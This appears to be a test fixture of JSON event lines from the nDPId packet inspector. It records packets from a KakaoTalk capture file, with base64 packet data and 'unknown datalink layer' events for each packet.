+00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1862,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":399329,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFnsaAbFBZiz\/PGguGVRlUxcLK0lQqH50jt2fjBySiSPt7\/Touu1Swg\/Rnz9bbF7iDMAR0C+I3dTJ8wDg+9OQa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1862,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1863,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":407996,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABL+ECAbFB7i0BOmguGVRndud4OW502vNJ3dhRS5wkYBZKPM2XIVaMvPVZQCDqIiVXenSZISqd+K7PZQZsGxsM49MhQaCsJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1863,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1864,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":420935,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/\/RSAbDMBfq+wQ1Sapdq4zUjrHgMPh3LDzb0lX\/Cpau3oTfvM07OE0E112CmjhuVXk1PUtr7taUfX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1864,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1865,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":459387,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABEVmCAbFBaiz\/S2guGVRmXTXCEkNFMECbbjKl69TzvRGuIzdLq+l\/IneHxZr7zDoiJcsnazX2y36itl9kzjdI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1865,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1866,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":464240,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ODCAbDMCfq+0A1SapdrK\/eisi7nhSdmL5Z6\/WasWD63YDEkasz57XORRZIVM7tFZg3LiqCnLZ3z8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1866,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1867,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":479346,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/cQuAbDLgfq80g1SapdqlsJKm+76gsYQrvVu9LbMGcF2BRrjK3HBTwDiUfqBhQT7zjZtRkqNSDdv+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1867,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1868,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":503424,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHWMeAbFBbiz\/WmguGVRn5YtWG7IzeS+SHJZ31iV1sdQIqlsVuApHy5M31CYMNF8ZGmeFDngnglCIg6T6WhpBbJXg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1868,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1869,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":509345,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABLFF+AbFB8i0BSWguGVRkQv7QpG5cCQ579ZnQnjI3ItozNmygqxUnvnpm2UNEnf6+UTMiTrPZ0xXa05Mn6Lf1tyTqCSGT7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1869,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1870,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":509497,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABH5iOAbFB9i0BWGguGVRn\/dDuKvX67gqxrrlwYR2du9MUm+ONvjaK3s+k46m\/Pr4goajUxU3D0PNxCkEl5J2RZhcs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1870,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1871,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":551428,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLT4mAbFBciz\/aWguGVRndTwAQDUJwNow3ARK8UOScvv0TZXjukJOlWOquRGIgKWl5BdLWZHMI9KGO9JlsThQmnkG73q1y"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1871,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1872,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":565253,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/1lWAbDMDfq+3w1Sapdp+FsIBqvEW0HW0R7eGsnepDCnJCzA80Y+06QxKOueOl9BOZkZlfEG5yjSb"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1872,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1873,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":567450,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/LXuAbDLhfq84Q1SapdoUCH5mCVbwO\/NCUAmEE5l7hoIFZhB4Bszmth1OCIJ\/bkd7SJvHM1Sw0b7t"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1873,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1874,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":603797,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/572AbDMEfq+7g1Sapdrbh+ic1IIE1etHgh3rfXZt295zuEV9g6xlrZq86ktuc5c+YJfF5LvPEenj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1874,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1875,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":609259,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHNDCAbFB+i0BZ2guGVRmADh6NV+Cmh5ovyCas6oso0w4fs74pVEXuE3ITIQbAxQc7Ls1B+YM\/ic\/ERtv24Vn9yUs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1875,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1876,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":609412,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHqomAbFB\/i0BdmguGVRn9Z4ZETALBA7OZVyVnurLmnBXhEVqON7x7JHyTRQABmkQQz9HhVea4sCgc2lrFT+dZcaM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1876,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1877,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":640906,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/F3aAbDMFfq+\/Q1SapdqskncUVJnA+UlJCcC5dneJAU6qX3ypnTmpV\/4qaksBzVZjxFnOWxJTmNbv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1877,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1878,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":671515,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/\/16AbDLifq88A1SapdqcGHQVgkqMkEct1aUKnpWUIuuNDsZGfMtNcqsPzNrpU7qhKhq1TNjUn2oh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1878,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1879,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":679297,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGcbGAbFBdiz\/eGguGVRnYENxCaQNpBYgRAetqLDCn5L1IizVmXhA0nrLgg99mxt0pFuiOPYMSyrAMd8CHbFrJAg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1879,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1880,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":699378,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLxlKAbDLjfq8\/w1SapdptHQLiuYHpyamMfqWRVmwq1R79mV0wCJAhgfDpRwRnw7cBrVOo25rgBDGPZxWM92uYMNjpZN+V"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1880,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1881,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":709784,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAPxHbQAoYUrwByQGuLDhaBABO0i2AbFCAi0BhWguGVRn0c+LEjOBnGZ9FSfCm0HbHSrAgWMEBZLXAey0TifmvSnVRBVvdU6HS6irEvhYwL74IUC1zUysvzPd8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1881,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1882,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":739569,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/fsOAbDMGfq\/DA1SapdqvHJ48HCwZQ10fOZ1Wh20Rsn1qYZ\/03eYWoxj5+cbNAEtdKEm+8gbyT9y3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1882,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1883,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":759345,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHRH9FQHJAa4KGFK8WgQsOABRp\/SAbDLkfq9Dg1SapdpkC5TfSAEouup47XtlihG9vlTicCLq\/dZ9oqQCW1XD7rCrVRiv1LWP0yGDHXXbgmzTUIZyIn1OcGWAX6P8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1883,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1884,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":779303,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABEVtiAbFBeiz\/h2guGVRmH63ljADcmSoDcsYDgzl6HSX10D8CTgdlhAMLY6flZD2NJhV0ANDYoobJABH0NqXQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1884,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1885,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":784217,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/cpmAbDMHfq\/Gw1SapdqpTSKpuGRKSgv87j9VuOL2eZN9TW1t\/fnFFP214z4hF\/M7Bhf+GHMz\/XMk"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1885,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1886,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":799353,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABE0AmAbFBfiz\/lmguGVRlch4s6FEa2PvZtVTtR9vgCFuFK6J7LbZVJKEZ9HbaYybAYa+WHEnbU+ZyXmxBd8vU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1886,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1887,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":809058,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIMAAEAAPxHbHwoYUrwByQGuLDhaBABvn5CAbFCBi0BlGguGVRmCRNAVcoK1QubKAAF9\/GGN09YBlGJ2rbMLXDtHX9PebcaFAe\/iiwC3I1RWje+AXUspJ4OHNFQARh7ZY2IsXSLkyqEjz6HQpOaTMhX434s5AF8jiJv6Ar0vESXg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1887,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1888,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":809241,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAPxHbMQoYUrwByQGuLDhaBABdDU6AbFCCi0Bo2guGVRmJeKKf0nWx5lVCJwBFSBQMK5lUYjxq84rQGeq41evpestjV+3sMfkiGaXnxVR3Nqc7fUO1cD28Jcrc32+N0zZNOxr6BLh6rbLr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1888,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1889,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":847296,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/6muAbDLlfq9HQ1Sapdo1D4rNhMzFvR8YY+9h8lVOcCPLu0RIybA2RsXW3hroi8XWEO+B+9u\/t\/Z9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1889,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00439{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1890,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":858039,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/QCKAbDMIfq\/Kg1SapdrclCU8\/\/bhd9HVLzKpRKsHt6J4WkaLj9yX\/m3JmkdOPPwi7zi9O3FrL3tv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1890,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1891,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":867255,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/CmeAbDLmfq9LA1Sapdrgf2RKXYk0Rwv55xYAmFJNFL098HMgvN1YMFS06aB063D5fhuUkGW+EPby"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1891,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1892,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":897223,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/OfKAbDMJfq\/OQ1SapdpBLSKyTbARIub4lsb8xMk4dags7LFJ+AbRVxJPRQbXdvJsxf2vTFfqeBhe"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1892,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1893,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":899268,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFUAAEAAHBH+JQHJAa4KGFK8WgYoHABBXtiAbFBgiz\/pWguGVRkwTFWgFdruboRU2eMHUgXgkKrAwZ3YkFD2WynAg3Hv+TKLi+XYCsDFjb0AZCo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1893,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1894,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":907508,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAPxHbOQoYUrwByQGuLDhaBABVdimAbFCDi0BsmguGVRntThpiLDTlnkhC6jksq4tpC0Mnb8sK\/msmDBdK+MDyJ2gdW5qOMzoEC76dMUfMZsKxKLoGuF3ddsJ0NpbyfruvxQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1894,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1895,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":908332,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAPxHbOQoYUrwByQGuLDhaBABVqRiAbFCEi0BwWguGVRm9vGJ9EbgdnIDGo+Zqakhf8SjC4Hd8+wtvyFyaeGwtOA8VL99nnERQLeR2k4mH360QjJoTRfX5bHrYxG0DnqhltQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1895,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1896,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":941199,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/PA6AbDMKfq\/SA1SapdoKRg77brXtsP8xs50puUaqw6Hh3Iqb\/YgPHPDqi6NhlNjbdnDYV\/iUd1+X"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1896,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1897,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":947241,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJEuWAbFBhiz\/tGguGVRmy8bAhFLOCtFT8QpmAX7zuS12PdooLspNx3k4TxO+vs10UubS\/OhotH7qgtjUUq4CJoUoC4A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1897,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 